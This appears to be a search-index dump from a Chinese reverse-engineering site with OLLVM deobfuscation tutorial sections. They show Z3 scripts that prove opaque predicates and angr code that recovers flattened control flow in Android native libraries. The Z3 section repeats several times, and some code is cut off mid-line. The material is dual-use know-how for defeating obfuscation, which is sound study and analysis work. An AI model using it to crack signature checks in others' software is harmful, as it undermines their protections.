对于控制流平坦化，关键是识别状态变量和分发器。通过符号执行或模式匹配分发器逻辑，可以确定每个真实基本块的后继，从而重建原始图。 不透明谓词求解: Z3 或其他 SMT 求解器等工具可用于自动证明虚假控制流中的条件是不变的。这使得分析师能够识别并移除无效的代码路径。 模式匹配: 对于指令替换，可以识别并替换简单的模式。例如，像 x = rdtsc(); y = x \u0026 1; if (y == 0) ... 这样的序列是一个常见的虚假谓词。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:5:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#1-静态分析"},{"categories":null,"collections":null,"content":"2. 动态分析 使用 Frida/Unidbg 进行追踪: 动态追踪非常有效。通过使用 Frida 的 Stalker 或 Unidbg 的追踪功能，可以记录运行时执行的基本块的确切顺序。这可以绕过所有的控制流混淆，为你提供\"真实\"的执行路径。 符号执行: 像 Angr 这样的引擎可用于探索程序状态。符号执行可以自动求解路径约束，从而有效地反混淆控制流并简化不透明谓词。这个过程可能很慢，但功能非常强大。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:5:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#2-动态分析"},{"categories":null,"collections":null,"content":"3. 自动化工具 d-obfuscator: 一个基于 Python 的工具，使用符号执行（通过 Angr）来反混淆 OLLVM。 QB-Di: 一个基于 QBDI 动态插桩框架的交互式反混淆工具。 Triton: 一个动态二进制分析框架，可以通过编写脚本来执行污点分析和符号执行。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:5:3","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#3-自动化工具"},{"categories":null,"collections":null,"content":"实战：使用符号执行与约束求解 💡 思路一句话: 不透明谓词用 Z3 证明恒真/恒假 → 控制流平坦化用 Angr 符号执行恢复真实 CFG → 两者结合实现自动化反混淆。这一节从工具安装到实际调用，手把手演示每个步骤。 环境准备 (5 分钟搞定): # 创建虚拟环境，避免依赖冲突 python3 -m venv ollvm_env \u0026\u0026 source ollvm_env/bin/activate pip install z3-solver angr capstone keystone-engine # 验证安装 python -c \"from z3 import *; print('Z3 OK:', get_version_string())\" python -c \"import angr; print('angr OK:', angr.__version__)\" ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#实战使用符号执行与约束求解"},{"categories":null,"collections":null,"content":"Z3-Solver：不透明谓词求解 Z3 是微软开发的高性能 SMT (Satisfiability Modulo Theories) 求解器，非常适合用于分析 OLLVM 的虚假控制流。 安装 pip install z3-solver 示例 1：识别恒真/恒假条件 OLLVM 的虚假控制流 (BCF) 经常使用不透明谓词，例如： // 混淆后的代码 int x = get_input(); int y = x * x; if ((y % 2) == 1) { // 平方数永远不可能是奇数（对于整数） // 这个分支永远不会执行（死代码） fake_path(); } else { real_path(); } 使用 Z3 证明这个条件恒假： from z3 import * def prove_opaque_predicate(): \"\"\"证明 x*x % 2 == 1 对于任意整数 x 都是假的\"\"\" x = BitVec('x', 32) # 32位整数 y = x * x # y = x^2 # 创建求解器 solver = Solver() # 尝试找到使 y % 2 == 1 成立的 x solver.add(URem(y, 2) == 1) result = solver.check() if result == unsat: print(\"[+] 证明成功：条件 (x*x % 2 == 1) 恒假\") print(\" 这是一个不透明谓词，对应的分支是死代码\") elif result == sat: print(\"[-] 找到反例:\", solver.model()) else: print(\"[?] 无法确定\") prove_opaque_predicate() 示例 2：求解复杂的不透明谓词 OLLVM 常用的另一种不透明谓词基于数学恒等式： from z3 import * def analyze_complex_predicate(): \"\"\" 分析复杂的不透明谓词： (x * (x + 1)) % 2 == 0 恒真（连续两个整数的乘积必为偶数） \"\"\" x = BitVec('x', 32) # 表达式：x * (x + 1) expr = x * (x + 1) solver = Solver() # 尝试找到使 expr % 2 != 0 的情况 solver.add(URem(expr, 2) != 0) if solver.check() == unsat: print(\"[+] 证明：(x * (x + 1)) % 2 == 0 恒真\") print(\" 这个 if 分支总是会执行\") else: print(\"[-] 找到反例:\", solver.model()) def analyze_bcf_condition(): \"\"\" 分析 OLLVM BCF 生成的典型条件： ((x \u0026 0xFFFFFFFE) * (x | 1)) % 2 == 0 \"\"\" x = BitVec('x', 32) # OLLVM BCF 典型模式 a = x \u0026 0xFFFFFFFE # 清除最低位，保证是偶数 b = x | 1 # 设置最低位，保证是奇数 product = a * b # 偶数 * 奇数 = 偶数 solver = Solver() solver.add(URem(product, 2) != 0) if solver.check() == unsat: print(\"[+] BCF 条件恒真：可以安全移除 else 分支\") else: print(\"[-] 条件不恒定\") analyze_complex_predicate() analyze_bcf_condition() 示例 3：批量分析多个谓词 from z3 import * class OpaquePredicateAnalyzer: \"\"\"批量分析 OLLVM 不透明谓词\"\"\" # 常见的 OLLVM 不透明谓词模式 PATTERNS = { \"square_mod_2\": lambda x: URem(x * x, 2) == 1, # 恒假 \"consecutive_product\": lambda x: URem(x * (x + 1), 2) != 0, # 恒假 \"cubic_identity\": lambda x: URem(x * x * x - x, 6) != 0, # 恒假 (n³-n 能被6整除) } def __init__(self, bits=32): self.bits = bits def analyze_all(self): \"\"\"分析所有已知的不透明谓词模式\"\"\" x = BitVec('x', self.bits) print(\"=\" * 60) print(\"OLLVM 不透明谓词分析报告\") print(\"=\" * 60) for name, predicate in self.PATTERNS.items(): solver = Solver() solver.add(predicate(x)) result = solver.check() status = \"恒假 (死代码)\" if result == unsat else \"可能为真\" print(f\"\\n[{name}]\") print(f\" 结果: {status}\") if result == sat: print(f\" 反例: x = {solver.model()[x]}\") def analyze_custom(self, condition_func, name=\"custom\"): \"\"\"分析自定义条件\"\"\" x = BitVec('x', self.bits) solver = Solver() solver.add(condition_func(x)) result = solver.check() if result == unsat: return f\"{name}: 恒假\" elif result == sat: return f\"{name}: 可满足, 反例 x={solver.model()[x]}\" else: return f\"{name}: 未知\" # 使用示例 analyzer = OpaquePredicateAnalyzer() analyzer.analyze_all() ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#z3-solver不透明谓词求解"},{"categories":null,"collections":null,"content":"Z3-Solver：不透明谓词求解 Z3 是微软开发的高性能 SMT (Satisfiability Modulo Theories) 求解器，非常适合用于分析 OLLVM 的虚假控制流。 安装 pip install z3-solver 示例 1：识别恒真/恒假条件 OLLVM 的虚假控制流 (BCF) 经常使用不透明谓词，例如： // 混淆后的代码 int x = get_input(); int y = x * x; if ((y % 2) == 1) { // 平方数永远不可能是奇数（对于整数） // 这个分支永远不会执行（死代码） fake_path(); } else { real_path(); } 使用 Z3 证明这个条件恒假： from z3 import * def prove_opaque_predicate(): \"\"\"证明 x*x % 2 == 1 对于任意整数 x 都是假的\"\"\" x = BitVec('x', 32) # 32位整数 y = x * x # y = x^2 # 创建求解器 solver = Solver() # 尝试找到使 y % 2 == 1 成立的 x solver.add(URem(y, 2) == 1) result = solver.check() if result == unsat: print(\"[+] 证明成功：条件 (x*x % 2 == 1) 恒假\") print(\" 这是一个不透明谓词，对应的分支是死代码\") elif result == sat: print(\"[-] 找到反例:\", solver.model()) else: print(\"[?] 无法确定\") prove_opaque_predicate() 示例 2：求解复杂的不透明谓词 OLLVM 常用的另一种不透明谓词基于数学恒等式： from z3 import * def analyze_complex_predicate(): \"\"\" 分析复杂的不透明谓词： (x * (x + 1)) % 2 == 0 恒真（连续两个整数的乘积必为偶数） \"\"\" x = BitVec('x', 32) # 表达式：x * (x + 1) expr = x * (x + 1) solver = Solver() # 尝试找到使 expr % 2 != 0 的情况 solver.add(URem(expr, 2) != 0) if solver.check() == unsat: print(\"[+] 证明：(x * (x + 1)) % 2 == 0 恒真\") print(\" 这个 if 分支总是会执行\") else: print(\"[-] 找到反例:\", solver.model()) def analyze_bcf_condition(): \"\"\" 分析 OLLVM BCF 生成的典型条件： ((x \u0026 0xFFFFFFFE) * (x | 1)) % 2 == 0 \"\"\" x = BitVec('x', 32) # OLLVM BCF 典型模式 a = x \u0026 0xFFFFFFFE # 清除最低位，保证是偶数 b = x | 1 # 设置最低位，保证是奇数 product = a * b # 偶数 * 奇数 = 偶数 solver = Solver() solver.add(URem(product, 2) != 0) if solver.check() == unsat: print(\"[+] BCF 条件恒真：可以安全移除 else 分支\") else: print(\"[-] 条件不恒定\") analyze_complex_predicate() analyze_bcf_condition() 示例 3：批量分析多个谓词 from z3 import * class OpaquePredicateAnalyzer: \"\"\"批量分析 OLLVM 不透明谓词\"\"\" # 常见的 OLLVM 不透明谓词模式 PATTERNS = { \"square_mod_2\": lambda x: URem(x * x, 2) == 1, # 恒假 \"consecutive_product\": lambda x: URem(x * (x + 1), 2) != 0, # 恒假 \"cubic_identity\": lambda x: URem(x * x * x - x, 6) != 0, # 恒假 (n³-n 能被6整除) } def __init__(self, bits=32): self.bits = bits def analyze_all(self): \"\"\"分析所有已知的不透明谓词模式\"\"\" x = BitVec('x', self.bits) print(\"=\" * 60) print(\"OLLVM 不透明谓词分析报告\") print(\"=\" * 60) for name, predicate in self.PATTERNS.items(): solver = Solver() solver.add(predicate(x)) result = solver.check() status = \"恒假 (死代码)\" if result == unsat else \"可能为真\" print(f\"\\n[{name}]\") print(f\" 结果: {status}\") if result == sat: print(f\" 反例: x = {solver.model()[x]}\") def analyze_custom(self, condition_func, name=\"custom\"): \"\"\"分析自定义条件\"\"\" x = BitVec('x', self.bits) solver = Solver() solver.add(condition_func(x)) result = solver.check() if result == unsat: return f\"{name}: 恒假\" elif result == sat: return f\"{name}: 可满足, 反例 x={solver.model()[x]}\" else: return f\"{name}: 未知\" # 使用示例 analyzer = OpaquePredicateAnalyzer() analyzer.analyze_all() ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#安装"},{"categories":null,"collections":null,"content":"Z3-Solver：不透明谓词求解 Z3 是微软开发的高性能 SMT (Satisfiability Modulo Theories) 求解器，非常适合用于分析 OLLVM 的虚假控制流。 安装 pip install z3-solver 示例 1：识别恒真/恒假条件 OLLVM 的虚假控制流 (BCF) 经常使用不透明谓词，例如： // 混淆后的代码 int x = get_input(); int y = x * x; if ((y % 2) == 1) { // 平方数永远不可能是奇数（对于整数） // 这个分支永远不会执行（死代码） fake_path(); } else { real_path(); } 使用 Z3 证明这个条件恒假： from z3 import * def prove_opaque_predicate(): \"\"\"证明 x*x % 2 == 1 对于任意整数 x 都是假的\"\"\" x = BitVec('x', 32) # 32位整数 y = x * x # y = x^2 # 创建求解器 solver = Solver() # 尝试找到使 y % 2 == 1 成立的 x solver.add(URem(y, 2) == 1) result = solver.check() if result == unsat: print(\"[+] 证明成功：条件 (x*x % 2 == 1) 恒假\") print(\" 这是一个不透明谓词，对应的分支是死代码\") elif result == sat: print(\"[-] 找到反例:\", solver.model()) else: print(\"[?] 无法确定\") prove_opaque_predicate() 示例 2：求解复杂的不透明谓词 OLLVM 常用的另一种不透明谓词基于数学恒等式： from z3 import * def analyze_complex_predicate(): \"\"\" 分析复杂的不透明谓词： (x * (x + 1)) % 2 == 0 恒真（连续两个整数的乘积必为偶数） \"\"\" x = BitVec('x', 32) # 表达式：x * (x + 1) expr = x * (x + 1) solver = Solver() # 尝试找到使 expr % 2 != 0 的情况 solver.add(URem(expr, 2) != 0) if solver.check() == unsat: print(\"[+] 证明：(x * (x + 1)) % 2 == 0 恒真\") print(\" 这个 if 分支总是会执行\") else: print(\"[-] 找到反例:\", solver.model()) def analyze_bcf_condition(): \"\"\" 分析 OLLVM BCF 生成的典型条件： ((x \u0026 0xFFFFFFFE) * (x | 1)) % 2 == 0 \"\"\" x = BitVec('x', 32) # OLLVM BCF 典型模式 a = x \u0026 0xFFFFFFFE # 清除最低位，保证是偶数 b = x | 1 # 设置最低位，保证是奇数 product = a * b # 偶数 * 奇数 = 偶数 solver = Solver() solver.add(URem(product, 2) != 0) if solver.check() == unsat: print(\"[+] BCF 条件恒真：可以安全移除 else 分支\") else: print(\"[-] 条件不恒定\") analyze_complex_predicate() analyze_bcf_condition() 示例 3：批量分析多个谓词 from z3 import * class OpaquePredicateAnalyzer: \"\"\"批量分析 OLLVM 不透明谓词\"\"\" # 常见的 OLLVM 不透明谓词模式 PATTERNS = { \"square_mod_2\": lambda x: URem(x * x, 2) == 1, # 恒假 \"consecutive_product\": lambda x: URem(x * (x + 1), 2) != 0, # 恒假 \"cubic_identity\": lambda x: URem(x * x * x - x, 6) != 0, # 恒假 (n³-n 能被6整除) } def __init__(self, bits=32): self.bits = bits def analyze_all(self): \"\"\"分析所有已知的不透明谓词模式\"\"\" x = BitVec('x', self.bits) print(\"=\" * 60) print(\"OLLVM 不透明谓词分析报告\") print(\"=\" * 60) for name, predicate in self.PATTERNS.items(): solver = Solver() solver.add(predicate(x)) result = solver.check() status = \"恒假 (死代码)\" if result == unsat else \"可能为真\" print(f\"\\n[{name}]\") print(f\" 结果: {status}\") if result == sat: print(f\" 反例: x = {solver.model()[x]}\") def analyze_custom(self, condition_func, name=\"custom\"): \"\"\"分析自定义条件\"\"\" x = BitVec('x', self.bits) solver = Solver() solver.add(condition_func(x)) result = solver.check() if result == unsat: return f\"{name}: 恒假\" elif result == sat: return f\"{name}: 可满足, 反例 x={solver.model()[x]}\" else: return f\"{name}: 未知\" # 使用示例 analyzer = OpaquePredicateAnalyzer() analyzer.analyze_all() ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#示例-1识别恒真恒假条件"},{"categories":null,"collections":null,"content":"Z3-Solver：不透明谓词求解 Z3 是微软开发的高性能 SMT (Satisfiability Modulo Theories) 求解器，非常适合用于分析 OLLVM 的虚假控制流。 安装 pip install z3-solver 示例 1：识别恒真/恒假条件 OLLVM 的虚假控制流 (BCF) 经常使用不透明谓词，例如： // 混淆后的代码 int x = get_input(); int y = x * x; if ((y % 2) == 1) { // 平方数永远不可能是奇数（对于整数） // 这个分支永远不会执行（死代码） fake_path(); } else { real_path(); } 使用 Z3 证明这个条件恒假： from z3 import * def prove_opaque_predicate(): \"\"\"证明 x*x % 2 == 1 对于任意整数 x 都是假的\"\"\" x = BitVec('x', 32) # 32位整数 y = x * x # y = x^2 # 创建求解器 solver = Solver() # 尝试找到使 y % 2 == 1 成立的 x solver.add(URem(y, 2) == 1) result = solver.check() if result == unsat: print(\"[+] 证明成功：条件 (x*x % 2 == 1) 恒假\") print(\" 这是一个不透明谓词，对应的分支是死代码\") elif result == sat: print(\"[-] 找到反例:\", solver.model()) else: print(\"[?] 无法确定\") prove_opaque_predicate() 示例 2：求解复杂的不透明谓词 OLLVM 常用的另一种不透明谓词基于数学恒等式： from z3 import * def analyze_complex_predicate(): \"\"\" 分析复杂的不透明谓词： (x * (x + 1)) % 2 == 0 恒真（连续两个整数的乘积必为偶数） \"\"\" x = BitVec('x', 32) # 表达式：x * (x + 1) expr = x * (x + 1) solver = Solver() # 尝试找到使 expr % 2 != 0 的情况 solver.add(URem(expr, 2) != 0) if solver.check() == unsat: print(\"[+] 证明：(x * (x + 1)) % 2 == 0 恒真\") print(\" 这个 if 分支总是会执行\") else: print(\"[-] 找到反例:\", solver.model()) def analyze_bcf_condition(): \"\"\" 分析 OLLVM BCF 生成的典型条件： ((x \u0026 0xFFFFFFFE) * (x | 1)) % 2 == 0 \"\"\" x = BitVec('x', 32) # OLLVM BCF 典型模式 a = x \u0026 0xFFFFFFFE # 清除最低位，保证是偶数 b = x | 1 # 设置最低位，保证是奇数 product = a * b # 偶数 * 奇数 = 偶数 solver = Solver() solver.add(URem(product, 2) != 0) if solver.check() == unsat: print(\"[+] BCF 条件恒真：可以安全移除 else 分支\") else: print(\"[-] 条件不恒定\") analyze_complex_predicate() analyze_bcf_condition() 示例 3：批量分析多个谓词 from z3 import * class OpaquePredicateAnalyzer: \"\"\"批量分析 OLLVM 不透明谓词\"\"\" # 常见的 OLLVM 不透明谓词模式 PATTERNS = { \"square_mod_2\": lambda x: URem(x * x, 2) == 1, # 恒假 \"consecutive_product\": lambda x: URem(x * (x + 1), 2) != 0, # 恒假 \"cubic_identity\": lambda x: URem(x * x * x - x, 6) != 0, # 恒假 (n³-n 能被6整除) } def __init__(self, bits=32): self.bits = bits def analyze_all(self): \"\"\"分析所有已知的不透明谓词模式\"\"\" x = BitVec('x', self.bits) print(\"=\" * 60) print(\"OLLVM 不透明谓词分析报告\") print(\"=\" * 60) for name, predicate in self.PATTERNS.items(): solver = Solver() solver.add(predicate(x)) result = solver.check() status = \"恒假 (死代码)\" if result == unsat else \"可能为真\" print(f\"\\n[{name}]\") print(f\" 结果: {status}\") if result == sat: print(f\" 反例: x = {solver.model()[x]}\") def analyze_custom(self, condition_func, name=\"custom\"): \"\"\"分析自定义条件\"\"\" x = BitVec('x', self.bits) solver = Solver() solver.add(condition_func(x)) result = solver.check() if result == unsat: return f\"{name}: 恒假\" elif result == sat: return f\"{name}: 可满足, 反例 x={solver.model()[x]}\" else: return f\"{name}: 未知\" # 使用示例 analyzer = OpaquePredicateAnalyzer() analyzer.analyze_all() ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#示例-2求解复杂的不透明谓词"},{"categories":null,"collections":null,"content":"Z3-Solver：不透明谓词求解 Z3 是微软开发的高性能 SMT (Satisfiability Modulo Theories) 求解器，非常适合用于分析 OLLVM 的虚假控制流。 安装 pip install z3-solver 示例 1：识别恒真/恒假条件 OLLVM 的虚假控制流 (BCF) 经常使用不透明谓词，例如： // 混淆后的代码 int x = get_input(); int y = x * x; if ((y % 2) == 1) { // 平方数永远不可能是奇数（对于整数） // 这个分支永远不会执行（死代码） fake_path(); } else { real_path(); } 使用 Z3 证明这个条件恒假： from z3 import * def prove_opaque_predicate(): \"\"\"证明 x*x % 2 == 1 对于任意整数 x 都是假的\"\"\" x = BitVec('x', 32) # 32位整数 y = x * x # y = x^2 # 创建求解器 solver = Solver() # 尝试找到使 y % 2 == 1 成立的 x solver.add(URem(y, 2) == 1) result = solver.check() if result == unsat: print(\"[+] 证明成功：条件 (x*x % 2 == 1) 恒假\") print(\" 这是一个不透明谓词，对应的分支是死代码\") elif result == sat: print(\"[-] 找到反例:\", solver.model()) else: print(\"[?] 无法确定\") prove_opaque_predicate() 示例 2：求解复杂的不透明谓词 OLLVM 常用的另一种不透明谓词基于数学恒等式： from z3 import * def analyze_complex_predicate(): \"\"\" 分析复杂的不透明谓词： (x * (x + 1)) % 2 == 0 恒真（连续两个整数的乘积必为偶数） \"\"\" x = BitVec('x', 32) # 表达式：x * (x + 1) expr = x * (x + 1) solver = Solver() # 尝试找到使 expr % 2 != 0 的情况 solver.add(URem(expr, 2) != 0) if solver.check() == unsat: print(\"[+] 证明：(x * (x + 1)) % 2 == 0 恒真\") print(\" 这个 if 分支总是会执行\") else: print(\"[-] 找到反例:\", solver.model()) def analyze_bcf_condition(): \"\"\" 分析 OLLVM BCF 生成的典型条件： ((x \u0026 0xFFFFFFFE) * (x | 1)) % 2 == 0 \"\"\" x = BitVec('x', 32) # OLLVM BCF 典型模式 a = x \u0026 0xFFFFFFFE # 清除最低位，保证是偶数 b = x | 1 # 设置最低位，保证是奇数 product = a * b # 偶数 * 奇数 = 偶数 solver = Solver() solver.add(URem(product, 2) != 0) if solver.check() == unsat: print(\"[+] BCF 条件恒真：可以安全移除 else 分支\") else: print(\"[-] 条件不恒定\") analyze_complex_predicate() analyze_bcf_condition() 示例 3：批量分析多个谓词 from z3 import * class OpaquePredicateAnalyzer: \"\"\"批量分析 OLLVM 不透明谓词\"\"\" # 常见的 OLLVM 不透明谓词模式 PATTERNS = { \"square_mod_2\": lambda x: URem(x * x, 2) == 1, # 恒假 \"consecutive_product\": lambda x: URem(x * (x + 1), 2) != 0, # 恒假 \"cubic_identity\": lambda x: URem(x * x * x - x, 6) != 0, # 恒假 (n³-n 能被6整除) } def __init__(self, bits=32): self.bits = bits def analyze_all(self): \"\"\"分析所有已知的不透明谓词模式\"\"\" x = BitVec('x', self.bits) print(\"=\" * 60) print(\"OLLVM 不透明谓词分析报告\") print(\"=\" * 60) for name, predicate in self.PATTERNS.items(): solver = Solver() solver.add(predicate(x)) result = solver.check() status = \"恒假 (死代码)\" if result == unsat else \"可能为真\" print(f\"\\n[{name}]\") print(f\" 结果: {status}\") if result == sat: print(f\" 反例: x = {solver.model()[x]}\") def analyze_custom(self, condition_func, name=\"custom\"): \"\"\"分析自定义条件\"\"\" x = BitVec('x', self.bits) solver = Solver() solver.add(condition_func(x)) result = solver.check() if result == unsat: return f\"{name}: 恒假\" elif result == sat: return f\"{name}: 可满足, 反例 x={solver.model()[x]}\" else: return f\"{name}: 未知\" # 使用示例 analyzer = OpaquePredicateAnalyzer() analyzer.analyze_all() ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#示例-3批量分析多个谓词"},{"categories":null,"collections":null,"content":"Angr：符号执行与控制流恢复 Angr 是一个强大的二进制分析框架，特别适合处理 OLLVM 的控制流平坦化。 安装 pip install angr 示例 1：基础符号执行 - 绕过简单混淆 import angr import claripy def simple_symbolic_execution(binary_path, target_addr, avoid_addrs=None): \"\"\" 使用符号执行找到到达目标地址的输入 Args: binary_path: SO 文件路径 target_addr: 目标地址（如解密函数返回点） avoid_addrs: 需要避开的地址列表（如错误处理分支） \"\"\" # 加载二进制文件 proj = angr.Project(binary_path, auto_load_libs=False) # 创建符号化的输入（假设输入是一个 32 字节的 buffer） sym_input = claripy.BVS('input', 32 * 8) # 创建初始状态 state = proj.factory.entry_state( args=[binary_path], stdin=angr.SimFile('/dev/stdin', content=sym_input) ) # 创建模拟管理器 simgr = proj.factory.simulation_manager(state) # 探索到目标地址 simgr.explore(find=target_addr, avoid=avoid_addrs or []) if simgr.found: found_state = simgr.found[0] # 获取满足条件的具体输入 solution = found_state.solver.eval(sym_input, cast_to=bytes) print(f\"[+] 找到有效输入: {solution.hex()}\") return solution else: print(\"[-] 未找到有效路径\") return None 示例 2：Hook 混淆函数，加速分析 import angr import claripy class OLLVMDeobfuscator: \"\"\"OLLVM 反混淆器 - 使用 Angr 符号执行\"\"\" def __init__(self, binary_path, base_addr=0x0): self.proj = angr.Project( binary_path, main_opts={'base_addr': base_addr}, auto_load_libs=False ) self.cfg = None def build_cfg(self): \"\"\"构建控制流图（用于分析混淆结构）\"\"\" print(\"[*] 正在构建 CFG...\") self.cfg = self.proj.analyses.CFGFast() print(f\"[+] CFG 构建完成: {len(self.cfg.graph.nodes())} 个节点\") return self.cfg def find_dispatcher(self, func_addr): \"\"\" 识别控制流平坦化的分发器 特征：大量的 case 分支，状态变量比较 \"\"\" func = self.cfg.functions.get(func_addr) if not func: return None # 找到入度最高的基本块（通常是分发器） max_in_degree = 0 dispatcher = None for block in func.blocks: in_degree = len(list(self.cfg.graph.predecessors(block))) if in_degree \u003e max_in_degree: max_in_degree = in_degree dispatcher = block if dispatcher and max_in_degree \u003e 5: print(f\"[+] 疑似分发器: 0x{dispatcher.addr:x} (入度: {max_in_degree})\") return dispatcher return None def trace_execution(self, start_addr, input_data, max_steps=10000): \"\"\" 符号执行追踪，记录真实执行的基本块 \"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 设置符号化输入 sym_input = claripy.BVS('input', len(input_data) * 8) state.memory.store(state.regs.rdi, sym_input) # 假设第一个参数是输入 # 记录执行的基本块 executed_blocks = [] def block_hook(state): executed_blocks.append(state.addr) # 设置 Hook self.proj.hook(start_addr, block_hook, length=0) simgr = self.proj.factory.simulation_manager(state) simgr.run(n=max_steps) return executed_blocks def symbolic_execution_with_constraints(self, func_addr, target_output): \"\"\" 通过约束求解，找到产生特定输出的输入 适用于分析加密/签名算法 \"\"\" state = self.proj.factory.call_state(func_addr) # 创建符号化参数 sym_arg1 = claripy.BVS('arg1', 64) sym_arg2 = claripy.BVS('arg2', 64) # 设置函数参数 (x86_64 调用约定) state.regs.rdi = sym_arg1 state.regs.rsi = sym_arg2 simgr = self.proj.factory.simulation_manager(state) # 探索所有路径 simgr.run() # 在结束状态中查找满足输出约束的 for deadended in simgr.deadended: # 假设返回值在 rax deadended.solver.add(deadended.regs.rax == target_output) if deadended.solver.satisfiable(): arg1_val = deadended.solver.eval(sym_arg1) arg2_val = deadended.solver.eval(sym_arg2) print(f\"[+] 找到输入: arg1=0x{arg1_val:x}, arg2=0x{arg2_val:x}\") return (arg1_val, arg2_val) return None # 使用示例 def example_usage(): # 加载混淆的 SO 文件 deobf = OLLVMDeobfuscator(\"libencrypt.so\", base_addr=0x10000) # 构建 CFG deobf.build_cfg() # 查找分发器 dispatcher = deobf.find_dispatcher(0x12340) # 符号执行找到产生特定签名的输入 result = deobf.symbolic_execution_with_constraints( func_addr=0x12340, target_output=0xDEADBEEF ) 示例 3：控制流平坦化恢复 import angr from angr.analyses.decompiler.condition_processor import ConditionProcessor class CFGRecovery: \"\"\"恢复被 OLLVM 平坦化的控制流\"\"\" def __init__(self, proj, func_addr): self.proj = proj self.func_addr = func_addr self.state_var = None self.real_blocks = {} # state_value -\u003e block_addr self.transitions = {} # (from_state, to_state) def identify_state_variable(self, dispatcher_addr): \"\"\" 识别控制流平坦化的状态变量 状态变量特征： 1. 在分发器开头被加载 2. 用于 switch-case 比较 3. 在每个真实块末尾被更新 \"\"\" block = self.proj.factory.block(dispatcher_addr) # 分析 VEX IR 找到状态变量 for stmt in block.vex.statements: # 查找从内存加载的操作 if ha","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#angr符号执行与控制流恢复"},{"categories":null,"collections":null,"content":"Angr：符号执行与控制流恢复 Angr 是一个强大的二进制分析框架，特别适合处理 OLLVM 的控制流平坦化。 安装 pip install angr 示例 1：基础符号执行 - 绕过简单混淆 import angr import claripy def simple_symbolic_execution(binary_path, target_addr, avoid_addrs=None): \"\"\" 使用符号执行找到到达目标地址的输入 Args: binary_path: SO 文件路径 target_addr: 目标地址（如解密函数返回点） avoid_addrs: 需要避开的地址列表（如错误处理分支） \"\"\" # 加载二进制文件 proj = angr.Project(binary_path, auto_load_libs=False) # 创建符号化的输入（假设输入是一个 32 字节的 buffer） sym_input = claripy.BVS('input', 32 * 8) # 创建初始状态 state = proj.factory.entry_state( args=[binary_path], stdin=angr.SimFile('/dev/stdin', content=sym_input) ) # 创建模拟管理器 simgr = proj.factory.simulation_manager(state) # 探索到目标地址 simgr.explore(find=target_addr, avoid=avoid_addrs or []) if simgr.found: found_state = simgr.found[0] # 获取满足条件的具体输入 solution = found_state.solver.eval(sym_input, cast_to=bytes) print(f\"[+] 找到有效输入: {solution.hex()}\") return solution else: print(\"[-] 未找到有效路径\") return None 示例 2：Hook 混淆函数，加速分析 import angr import claripy class OLLVMDeobfuscator: \"\"\"OLLVM 反混淆器 - 使用 Angr 符号执行\"\"\" def __init__(self, binary_path, base_addr=0x0): self.proj = angr.Project( binary_path, main_opts={'base_addr': base_addr}, auto_load_libs=False ) self.cfg = None def build_cfg(self): \"\"\"构建控制流图（用于分析混淆结构）\"\"\" print(\"[*] 正在构建 CFG...\") self.cfg = self.proj.analyses.CFGFast() print(f\"[+] CFG 构建完成: {len(self.cfg.graph.nodes())} 个节点\") return self.cfg def find_dispatcher(self, func_addr): \"\"\" 识别控制流平坦化的分发器 特征：大量的 case 分支，状态变量比较 \"\"\" func = self.cfg.functions.get(func_addr) if not func: return None # 找到入度最高的基本块（通常是分发器） max_in_degree = 0 dispatcher = None for block in func.blocks: in_degree = len(list(self.cfg.graph.predecessors(block))) if in_degree \u003e max_in_degree: max_in_degree = in_degree dispatcher = block if dispatcher and max_in_degree \u003e 5: print(f\"[+] 疑似分发器: 0x{dispatcher.addr:x} (入度: {max_in_degree})\") return dispatcher return None def trace_execution(self, start_addr, input_data, max_steps=10000): \"\"\" 符号执行追踪，记录真实执行的基本块 \"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 设置符号化输入 sym_input = claripy.BVS('input', len(input_data) * 8) state.memory.store(state.regs.rdi, sym_input) # 假设第一个参数是输入 # 记录执行的基本块 executed_blocks = [] def block_hook(state): executed_blocks.append(state.addr) 